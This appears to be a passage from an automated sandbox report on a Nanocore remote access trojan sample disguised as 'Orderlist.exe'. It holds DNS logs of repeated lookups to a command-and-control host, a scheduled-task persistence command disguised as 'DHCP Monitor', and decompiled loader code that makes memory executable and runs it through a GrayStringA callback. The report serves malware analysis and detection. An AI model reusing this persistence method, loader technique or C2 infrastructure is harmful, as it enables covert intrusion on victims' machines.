Aug 3, 2021 11:35:44.286135912 CEST	192.168.2.5	8.8.8.8	0x8f61	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:50.717076063 CEST	192.168.2.5	8.8.8.8	0x13fb	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:56.923703909 CEST	192.168.2.5	8.8.8.8	0xe1db	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:36:04.220123053 CEST	192.168.2.5	8.8.8.8	0x7ff8	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:36:10.335843086 CEST	192.168.2.5	8.8.8.8	0x282d	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:36:16.592588902 CEST	192.168.2.5	8.8.8.8	0xcf9b	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:36:22.705518007 CEST	192.168.2.5	8.8.8.8	0xccc2	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:36:28.675108910 CEST	192.168.2.5	8.8.8.8	0xc211	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:36:34.704138994 CEST	192.168.2.5	8.8.8.8	0x6614	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:36:40.767715931 CEST	192.168.2.5	8.8.8.8	0xc7b1	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:36:46.760056973 CEST	192.168.2.5	8.8.8.8	0x6d01	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Aug 3, 2021 11:34:46.335510015 CEST	8.8.8.8	192.168.2.5	0x7b0e	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:34:52.474721909 CEST	8.8.8.8	192.168.2.5	0xb04a	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:34:58.948497057 CEST	8.8.8.8	192.168.2.5	0xd65	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:04.996550083 CEST	8.8.8.8	192.168.2.5	0x8673	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:11.072742939 CEST	8.8.8.8	192.168.2.5	0xa298	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:19.163836002 CEST	8.8.8.8	192.168.2.5	0xde5e	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:25.179255009 CEST	8.8.8.8	192.168.2.5	0xd66e	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:31.407829046 CEST	8.8.8.8	192.168.2.5	0x70da	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:37.578969955 CEST	8.8.8.8	192.168.2.5	0x53a0	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:44.318723917 CEST	8.8.8.8	192.168.2.5	0x8f61	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:50.754591942 CEST	8.8.8.8	192.168.2.5	0x13fb	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:56.957531929 CEST	8.8.8.8	192.168.2.5	0xe1db	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:36:04.254407883 CEST	8.8.8.8	192.168.2.5	0x7ff8	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:36:10.369540930 CEST	8.8.8.8	192.168.2.5	0x282d	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:36:16.628025055 CEST	8.8.8.8	192.168.2.5	0xcf9b	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:36:22.741219044 CEST	8.8.8.8	192.168.2.5	0xccc2	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:36:28.707896948 CEST	8.8.8.8	192.168.2.5	0xc211	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:36:34.739733934 CEST	8.8.8.8	192.168.2.5	0x6614	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:36:40.800370932 CEST	8.8.8.8	192.168.2.5	0xc7b1	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)
Aug 3, 2021 11:36:46.793041945 CEST	8.8.8.8	192.168.2.5	0x6d01	No error (0)	sobe123.ddns.net	185.244.30.22	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Orderlist.exe PID: 5836 Parent PID: 5636

General

Start time:	11:34:38
Start date:	03/08/2021
Path:	C:\Users\user\Desktop\Orderlist.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Orderlist.exe'
Imagebase:	0x400000
File size:	457359 bytes
MD5 hash:	57201AEC028C2BD9A91E79ED81AEB868
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp, Author: Florian Roth Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: 00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
Reputation:	low

Chronological Activities

Analysis Process: MSBuild.exe PID: 5796 Parent PID: 5836

General

Start time:	11:34:39
Start date:	03/08/2021
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Orderlist.exe'
Imagebase:	0xad0000
File size:	69632 bytes
MD5 hash:	88BBB7610152B48C2B3879473B17857E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Chronological Activities

Analysis Process: schtasks.exe PID: 1628 Parent PID: 5796

General

Start time:	11:34:44
Start date:	03/08/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmpD5BB.tmp'
Imagebase:	0x12e0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 1324 Parent PID: 1628

General

Start time:	11:34:44
Start date:	03/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: MSBuild.exe PID: 4204 Parent PID: 904

General

Start time:	11:34:46
Start date:	03/08/2021
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe 0
Imagebase:	0x890000
File size:	69632 bytes
MD5 hash:	88BBB7610152B48C2B3879473B17857E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 1188 Parent PID: 4204

General

Start time:	11:34:46
Start date:	03/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff797770000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: Orderlist.exe PID: 5836 Parent PID: 5636 Orderlist.exeCOMMON

Executed Functions

Function 00401530, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 87
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401530(void* __ebx, void* __edi, void* __esi, void* __eflags, struct HINSTANCE__* _a4, int _a16) {
				signed int _v8;
				void* _v1008;
				long _v1012;
				void* _v1032;
				struct tagMSG _v1040;
				struct HACCEL__* _v1044;
				void* __ebp;
				signed int _t19;
				void* _t41;
				void* _t52;
				void* _t53;
				signed int _t54;

				_t53 = __esi;
				_t52 = __edi;
				_t41 = __ebx;
				_t19 =  *0x4135b4; // 0x41a50e76
				_v8 = _t19 ^ _t54;
				LoadStringW(_a4, 0x67, "pr1", 0x64);
				LoadStringW(_a4, 0x6d, "PR1", 0x64);
				VirtualProtect(0x413320, 0x28d, 0x40,  &_v1012); // executed
				GrayStringA(GetDC(0), 0, 0x413320,  &_v1008, 0, 0, 0, 0, 0); // executed
				E00401300(_a4);
				_t50 = _a16;
				if(E00401180(_a4, _a16) != 0) {
					_v1044 = LoadAcceleratorsW(_a4, 0x6d);
					while(1) {
						_t50 =  &_v1040;
						if(GetMessageW( &_v1040, 0, 0, 0) == 0) {
							break;
						}
						if(TranslateAcceleratorW(_v1040, _v1044,  &_v1040) == 0) {
							TranslateMessage( &_v1040);
							DispatchMessageW( &_v1040);
						}
					}
				} else {
				}
				return E00401647(_t41, _v8 ^ _t54, _t50, _t52, _t53);
			}

0x00401530
0x00401530
0x00401530
0x00401539
0x00401540
0x00401550
0x00401563
0x0040157c
0x004015a3
0x004015ad
0x004015b5
0x004015c7
0x004015d9
0x004015df
0x004015e5
0x004015f4
0x00000000
0x00000000
0x00401613
0x0040161c
0x00401629
0x00401629
0x0040162f
0x004015c9
0x004015c9
0x00401644

APIs

LoadStringW.USER32(?,00000067,pr1,00000064), ref: 00401550
LoadStringW.USER32(?,0000006D,PR1,00000064), ref: 00401563
VirtualProtect.KERNELBASE(00413320,0000028D,00000040,?), ref: 0040157C
GetDC.USER32(00000000), ref: 0040159C
GrayStringA.USER32(00000000), ref: 004015A3

Part of subcall function 00401300: LoadIconW.USER32(?,0000006B), ref: 0040133F
Part of subcall function 00401300: LoadCursorW.USER32(00000000,00007F00), ref: 0040134F
Part of subcall function 00401300: CreateSolidBrush.GDI32(00F24500), ref: 0040135D
Part of subcall function 00401300: LoadIconW.USER32(?,0000006C), ref: 0040137A
Part of subcall function 00401300: RegisterClassExW.USER32 ref: 00401387
Part of subcall function 00401300: LoadCursorW.USER32(00000000,00007F00), ref: 004013AF
Part of subcall function 00401300: CreateSolidBrush.GDI32(005DA32A), ref: 004013BD
Part of subcall function 00401300: RegisterClassExW.USER32 ref: 004013D1
Part of subcall function 00401300: LoadCursorW.USER32(00000000,00007F00), ref: 004013F9
Part of subcall function 00401300: CreateSolidBrush.GDI32(0020D9E3), ref: 00401407
Part of subcall function 00401300: RegisterClassExW.USER32 ref: 0040141B
Part of subcall function 00401300: RegisterClassExW.USER32 ref: 00401425

Part of subcall function 00401180: CreateWindowExW.USER32 ref: 004011D5

LoadAcceleratorsW.USER32 ref: 004015D3
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004015EC
TranslateAcceleratorW.USER32(?,?,?), ref: 0040160B
TranslateMessage.USER32(?), ref: 0040161C
DispatchMessageW.USER32 ref: 00401629

Strings

PR1, xrefs: 00401558
pr1, xrefs: 00401545

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: Load$ClassCreateRegister$BrushCursorMessageSolidString$IconTranslate$AcceleratorAcceleratorsDispatchGrayProtectVirtualWindow
String ID: PR1$pr1
API String ID: 1475179568-1422411124
Opcode ID: 7d0043600eb2929ab29cb835bc63ed69be42622ddf6948625b320ce4971a2b08
Instruction ID: 7be25982aa878e74221401357fbd49a73c1fa5de0ae0a0d80273da9eacd9b902
Opcode Fuzzy Hash: 7d0043600eb2929ab29cb835bc63ed69be42622ddf6948625b320ce4971a2b08
Instruction Fuzzy Hash: D231E6B5A40208FBDB10DFA0DC49FAA7779AB48704F008565F705BA2D0DA79EA48CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 004133B5, Relevance: 10.7, APIs: 7, Instructions: 173memoryfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00413451
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004), ref: 00413479
ReadFile.KERNELBASE(?,00000000,00000000,?,00000000), ref: 00413490
VirtualAlloc.KERNELBASE(00000000,00001690,00003000,00000040), ref: 004134D9
und_memcpy.LIBVCRUNTIME ref: 004134E9
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000040), ref: 004134FA
und_memcpy.LIBVCRUNTIME ref: 00413509

Memory Dump Source

Source File: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual$Fileund_memcpy$CreateRead
String ID:
API String ID: 1653714324-0
Opcode ID: 8030eb18d340d43f8c76ae6986444d0ec215375bfc5f928cccd5897bb6ddfeaa
Instruction ID: 6a6d1f62788fb41bce3a8c59216ad87033bd361b9531b2b56057ccfb2397c4f4
Opcode Fuzzy Hash: 8030eb18d340d43f8c76ae6986444d0ec215375bfc5f928cccd5897bb6ddfeaa
Instruction Fuzzy Hash: 445102B1900214BFEF008FB6CC6AFEB7BECDB45711F100156FA10A3291D6389B058B64

Uniqueness

Uniqueness Score: -1.00%

Function 00401EBD, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401EBD() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E00401EC9); // executed
				return _t1;
			}

0x00401ec2
0x00401ec8

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00001EC9,00401709), ref: 00401EC2

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: e9cd8823d94f434570e1a5d8e388846d15bd536aa3981d9f8ec3f892342e632a
Instruction ID: 91678e5d1df345a50be73469b0bb8d4e02892f0bb136e32a6fb45f2edbf6fb26
Opcode Fuzzy Hash: e9cd8823d94f434570e1a5d8e388846d15bd536aa3981d9f8ec3f892342e632a
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0040563D, Relevance: 3.0, APIs: 2, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040563D() {
				void* _t3;
				void* _t16;
				WCHAR* _t17;

				_t17 = GetEnvironmentStringsW();
				if(_t17 != 0) {
					_t11 = E00405606(_t17) - _t17 & 0xfffffffe;
					_t3 = E00403CFF(E00405606(_t17) - _t17 & 0xfffffffe); // executed
					_t16 = _t3;
					if(_t16 != 0) {
						E0040B350(_t16, _t17, _t11);
					}
					E00403CC5(0);
					FreeEnvironmentStringsW(_t17);
				} else {
					_t16 = 0;
				}
				return _t16;
			}

0x00405647
0x0040564b
0x0040565c
0x00405660
0x00405665
0x0040566b
0x00405670
0x00405675
0x0040567a
0x00405681
0x0040564d
0x0040564d
0x0040564d
0x0040568c

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00405641
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00405681

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: 49e11cb7f9595efdded5002f2b2a4597f25bd17126621d259a8016cc590daaa5
Instruction ID: f992b0247e9440e7f30e82e0e14a7e6a6771add7965637a1d89610d773162fd4
Opcode Fuzzy Hash: 49e11cb7f9595efdded5002f2b2a4597f25bd17126621d259a8016cc590daaa5
Instruction Fuzzy Hash: 68E0E537545A1126D215323A7D49A6B090DCBC2679B25063AF81DB22C2EE398C0214AD

Uniqueness

Uniqueness Score: -1.00%

Function 00403D91, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403D91(signed int _a4, signed int _a8) {
				void* _t8;
				signed int _t13;
				signed int _t18;
				long _t19;

				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x414908, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E00403756();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E004047A4(__eflags))) = 0xc;
							__eflags = 0;
							return 0;
						}
						__eflags = E0040690C(__eflags, _t19);
						if(__eflags == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x00403d97
0x00403d9c
0x00403daa
0x00403daa
0x00403db0
0x00403db2
0x00403db2
0x00403dc9
0x00403dd2
0x00403dda
0x00000000
0x00000000
0x00403dba
0x00403dbc
0x00403dde
0x00403de3
0x00403de9
0x00000000
0x00403de9
0x00403dc5
0x00403dc7
0x00000000
0x00000000
0x00403dc7
0x00000000
0x00403dc9
0x00403da2
0x00403da8
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00404351,00000001,00000364,00000005,000000FF,?,004047A9,00407677,?,00406EAE,?,00000000), ref: 00403DD2

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ad043043a21cf3dba10996384547b580fc5f2ea97b89af5f1b88382f40155978
Instruction ID: 70d10fc1685cc37c8922065859da8e738c796aaccc498e2a9cf0e6933c3c24a0
Opcode Fuzzy Hash: ad043043a21cf3dba10996384547b580fc5f2ea97b89af5f1b88382f40155978
Instruction Fuzzy Hash: 31F0E931625524AADB216F239D01B5B3F5DAF81762F158133A804BB2D4CB3CEE0182EC

Uniqueness

Uniqueness Score: -1.00%

Function 00403CFF, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403CFF(long _a4) {
				void* _t4;
				long _t8;

				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E004047A4(__eflags))) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x414908, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E00403756();
					if(__eflags == 0) {
						goto L7;
					}
					__eflags = E0040690C(__eflags, _t8);
					if(__eflags == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x00403d05
0x00403d0b
0x00403d3d
0x00403d42
0x00403d48
0x00000000
0x00403d48
0x00403d0f
0x00403d11
0x00403d11
0x00403d28
0x00403d31
0x00403d39
0x00000000
0x00000000
0x00403d19
0x00403d1b
0x00000000
0x00000000
0x00403d24
0x00403d26
0x00000000
0x00000000
0x00403d26
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00013385,00013385,?,00405074,00000220,004080E4,00013385,?,?,?,?,00000000,00000000,?,004080E4), ref: 00403D31

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 84581dd7f67fd0250ffcbf488d80cdeb9c2c1de4fee1894924fa2f75b83db7f9
Instruction ID: ff65ae21f05f7b22e0e63cfeb39d08d99d67b3669fc01c0941b302ca461f6421
Opcode Fuzzy Hash: 84581dd7f67fd0250ffcbf488d80cdeb9c2c1de4fee1894924fa2f75b83db7f9
Instruction Fuzzy Hash: 21E02271241264ABEB202F66CC00B5B3E4D9FD13A2F110133AC05B72D0CB7CCE0185AD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404401, Relevance: 4.6, APIs: 3, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00404401(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				struct _EXCEPTION_POINTERS _v812;
				void* __edi;
				void* __ebp;
				signed int _t40;
				char* _t47;
				char* _t49;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t66;
				intOrPtr _t67;
				int _t68;
				intOrPtr _t69;
				signed int _t70;

				_t69 = __esi;
				_t66 = __edx;
				_t61 = __ebx;
				_t40 =  *0x4135b4; // 0x41a50e76
				_t41 = _t40 ^ _t70;
				_v8 = _t40 ^ _t70;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E00401F0A(_t41);
					_pop(_t62);
				}
				E00402370(_t67,  &_v804, 0, 0x50);
				E00402370(_t67,  &_v724, 0, 0x2cc);
				_v812.ExceptionRecord =  &_v804;
				_t47 =  &_v724;
				_v812.ContextRecord = _t47;
				_v548 = _t47;
				_v552 = _t62;
				_v556 = _t66;
				_v560 = _t61;
				_v564 = _t69;
				_v568 = _t67;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t49 =  &_v0;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t68 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				if(UnhandledExceptionFilter( &_v812) == 0 && _t68 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					E00401F0A(_t57);
				}
				return E00401647(_t61, _v8 ^ _t70, _t66, _t68, _t69);
			}

0x00404401
0x00404401
0x00404401
0x0040440c
0x00404411
0x00404413
0x0040441b
0x0040441d
0x00404420
0x00404425
0x00404425
0x00404431
0x00404444
0x00404452
0x00404458
0x0040445e
0x00404464
0x0040446a
0x00404470
0x00404476
0x0040447c
0x00404482
0x00404488
0x0040448f
0x00404496
0x0040449d
0x004044a4
0x004044ab
0x004044b2
0x004044b3
0x004044bc
0x004044c2
0x004044c5
0x004044cb
0x004044d8
0x004044e1
0x004044ea
0x004044f3
0x00404501
0x00404503
0x00404518
0x00404524
0x00404527
0x0040452c
0x00404539

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 004044F9
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00404503
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00404510

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
